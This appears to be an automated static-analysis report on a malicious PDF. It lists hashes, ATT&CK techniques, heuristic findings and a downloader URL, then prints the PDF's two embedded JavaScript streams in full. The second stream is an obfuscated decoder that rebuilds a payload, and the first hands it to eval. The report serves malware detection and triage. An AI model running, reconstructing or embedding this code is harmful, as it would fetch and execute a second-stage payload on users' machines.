Malicious PDF — malware analysis report

Static analysis result for SHA-256 16a9b8654d47b0e8…

MALICIOUS

PDF

2.7 KB First seen: 2026-05-10
MD5: 12b4a018c7c7fd810abda4d083d108f3 SHA-1: 4cab0b9577a1a5fdf2301fae7ccbc08ccee24ac3 SHA-256: 16a9b8654d47b0e8a37402614c4a318bff51a5d762ef6e8a4118294cc6a88001
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that utilizes eval() and String.fromCharCode() for obfuscation, a common technique for executing malicious code. This script is designed to download and execute a second-stage payload from the URL http://d2F.QK/N/a. The ML classifier strongly indicates maliciousness, and the combination of JavaScript execution and external URL fetching points to a downloader or dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/kvczk/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/N/a Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 370 bytes
SHA-256: fd51302200a5e8f739a0277d43dd5d178a6abc7f22364e733410f016bace6c4b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/kvczk/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x246 2994 bytes
SHA-256: 7e2a8e9d19b22dc099f9eb5fc6d74e23d0c1f9ddcc545177871a09f6b2655925
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
hvamb="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2b0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O3M0K0L242R0I3^0G2X3-000=0B2O0@2^0>3Z3d090:2[2_073P053N032S0131370,0-2`3O0*2a2c";izdwjm="A602ZBDFJcKb=gLj00C8hY7MM]]1A70SDG3CTD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?L9@==9`]`^gjU@fGKMg9e_7K]_fH7+[c:K,5P-.PC8b@VX282KbA^P=Dh9.3NV,.ZX>K6?Q:JQCN2*Eg2**.3OZ+,EGgR<?*XK8Tc2<R+4.?gJK96+_2-TK,4-^2;O`1:O:g]._Z9K96*>34W:K4Kh_3dLQ:NQ?,.[@G,CSPZJ*/2:4*.2CEGK*SAB:**2=E+<.XfIK**4:P@*2=[CV3h7C,CULZJ*/2=,J.3cGg2**.3DZ+,?_@:J*/2=[*.3h7C,CULZJ*/2<?*,.,OXK9BcV35+8K*5_R:**2<[QK,4T*:Qi1:NL_G,DCAR;bEV32R?K9.*:Q_`N3A1/K**,ZP/*2:@@W,+=,ZJ**:PVg>2cY_K*5J:J**:P+KB:@@W,+=8K***K*-P:J+^2=@H4.FAe:J>^B:**2=[B@.iPVK/HcV2**@.ZR+,*16K5JWD.-8C,D^[:MLj<.,PE,**+,@WKB=0,].**S,H2*K9SU2=7F@.**S,B>*K9-YK***K5@*2<XL].**S,H2*K9SU2=7F@.**S,<R*:J>W_3f1/K3B3_2+Ha.**,.VCc:LTJ.3jK_32W1:PP?e.Gaf,<4/B=[*.3h7C,?[[B:**V3K:,./OU:J>ZV2**.3U9/,85h2:,c.2**.3JB@./OU:J>^R:**2:*dN2*F].`QLK1/iN2/6a.**,.g@/K9SU2;Q85,**/K64*:J+^2<c5@K*^P:PVg>2cY_K*SPZJ**:OUB@.[JVK**4:JUJ,.]aA:P6^B=-6/,8OQZJ**:J**:J**:J**:J**:J**:J**:J**:QC?>3O??K8Xf2=*>.2TY>K4_fc<UJ,.eQ@K4XeV3[H/,G;;B;:O/K*,W2=VTT.Z/?K8VRV3@Q<K8U`B=V>@.?3>R=/*.3ag4.?hFK8Oa:KKJ+,@5cR<]Y/,8,::LVCV2>?UR=[@?,<SB>2CUJK*,=R:**2:^*O,*@KN2**.2]fXK9Z3:J/RC,**+,4-^2=d4i.Rdb:KP+4.*W-2:**2:]ffR:,_W,**+,+3O_3:^gK**,ZM-*,.,=5R<KQd,**/K6**K0A66K9Z3:J/RC,**+,CU-2<c]?2=8CG,IJ<K*5:].**,.GbLK5OH4.Vf4:M8W4.?A+:PD/B==4]K6b;:O`+<K*OR:K?IN2**@.O:*K+GER;ObG,D-T:J<*V3<bd,**/K9.*:M5QG,IJ<K*5:].**,._[_R:*R.2**.2**.2**.2**.2**.2**.2**.3cJ,.RCi:J*+B=8*2=I[>3DaI,@WD_3PdD.,M-2=ZGV2BC5B:,TU,EGSN3P8O,?GKB<WTb:KGUV3?`DZJ+?_3KF].U@UR;<XW,FfWK8S`R=4h@.Ub@K8GZR<W8].>*+,Gb?K/*U2:Xh@.?jC,*1C,45_R;>XS,/bYK8h::J*R2;?Hi.>,TZKE<C,4*WR=QGD.cTVK8Xe_3_OC,GG`R=S/a.efU:LO/W,FfK:Q85D.>+GK/+bZQ,OD.O_UR::*+cY7MMZK,.A602V7dHZ*I^cJcN^3ae`O^gb_e9W/K-]:UBcg2:K/^+L7h8N1.+UT***.7RM`BE]hJ*jQ[-_:0XAbP[[c:K,5P-.QB6iP282KbA^P=Dh9.22++,,*:1Lga89,.2<GJ^eBJcOPSU7hTD9Ca-9SMa;YSaga89,.2;FZBNa5gb-Cf5.1.HJ`Jc1*c1.7RJ7G:**,g:a]*``***0[[c:K,@@M.HUP-.A5^M@DKG8:F:0[/]gc`PRA=NA[3VAdX0^a@E.A5^M@DKG8:h1ROc_11K,.2:M+KS^G5Od[U7:XQ7a:F<GJ^eBKe36]GXWCFa89,.2:_Q1K,.2XB6;R9AeZi6YMgJcL1GI8C7U_g:*M[HE11K,.2IU0SYS1U:HY`KgCI1fgb_e9W/K/g:0XR*/dR9AeZi6YMgKe1.D-`iV9M5cjE11K,.2_1UhBI0A[i:F:g1^gH,1RM:HY`KgCI1fBcg2:K0==9`]`^gjU@fGKMg9e_7K]_ehD-`iV9M5cjY7MMZK-<";fvezy=2751;ipjpdnb=new Array();while(hvamb.length){ipjpdnb.push((fqamb(hvamb.charCodeAt(0))<<(4+2))+fqamb(hvamb.charCodeAt(1))-(500+12));hvamb=hvamb.slice(2,hvamb.length)}cwxpgr=inkven=hvamb=0;asxodlg='';function fqamb(bsfoy){if(bsfoy>92)bsfoy--;return bsfoy-42}function jvewxsi(){if(hvamb==0){inkven=fqamb(izdwjm.charCodeAt(cwxpgr++));hvamb=6;}return ((inkven>>--hvamb)&0x01);}while(fvezy--){i=0;while(ipjpdnb[i]<0){if(jvewxsi())i=-ipjpdnb[i];else i++;}asxodlg+=String.fromCharCode(ipjpdnb[i]);}